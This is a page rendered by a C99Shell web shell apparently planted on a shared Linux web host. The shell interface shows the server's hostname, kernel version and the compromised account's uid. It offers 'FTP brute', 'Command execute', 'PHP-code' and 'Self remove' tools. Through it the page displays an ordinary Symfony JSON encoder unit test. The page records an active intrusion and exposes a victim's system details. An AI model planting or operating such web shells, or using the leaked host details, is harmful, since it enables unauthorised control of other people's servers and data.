!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Serializer/Symfony/Component/Serializer/Tests/Encoder/   drwxr-xr-x
Free 294.17 GB of 429.69 GB (68.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     JsonEncoderTest.php (2.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Serializer\Tests\Encoder;

use 
Symfony\Component\Serializer\Encoder\JsonEncoder;
use 
Symfony\Component\Serializer\Serializer;
use 
Symfony\Component\Serializer\Normalizer\CustomNormalizer;

class 
JsonEncoderTest extends \PHPUnit_Framework_TestCase
{
    protected function 
setUp()
    {
        
$this->encoder = new JsonEncoder();
        
$this->serializer = new Serializer(array(new CustomNormalizer()), array('json' => new JsonEncoder()));
    }

    public function 
testEncodeScalar()
    {
        
$obj = new \stdClass();
        
$obj->foo "foo";

        
$expected '{"foo":"foo"}';

        
$this->assertEquals($expected$this->encoder->encode($obj'json'));
    }

    public function 
testComplexObject()
    {
        
$obj $this->getObject();

        
$expected $this->getJsonSource();

        
$this->assertEquals($expected$this->encoder->encode($obj'json'));
    }

    public function 
testOptions()
    {
        
$context = array('json_encode_options' => JSON_NUMERIC_CHECK);

        
$arr = array();
        
$arr['foo'] = "3";

        
$expected '{"foo":3}';

        
$this->assertEquals($expected$this->serializer->serialize($arr'json'$context));

        
$arr = array();
        
$arr['foo'] = "3";

        
$expected '{"foo":"3"}';

        
$this->assertEquals($expected$this->serializer->serialize($arr'json'), 'Context should not be persistent');
    }

    protected function 
getJsonSource()
    {
        return 
'{"foo":"foo","bar":["a","b"],"baz":{"key":"val","key2":"val","A B":"bar","item":[{"title":"title1"},{"title":"title2"}],"Barry":{"FooBar":{"Baz":"Ed","@id":1}}},"qux":"1"}';
    }

    protected function 
getObject()
    {
        
$obj = new \stdClass();
        
$obj->foo 'foo';
        
$obj->bar = array('a''b');
        
$obj->baz = array('key' => 'val''key2' => 'val''A B' => 'bar''item' => array(array('title' => 'title1'), array('title' => 'title2')), 'Barry' => array('FooBar' => array('Baz' => 'Ed''@id' => 1)));
        
$obj->qux "1";

        return 
$obj;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0041 ]--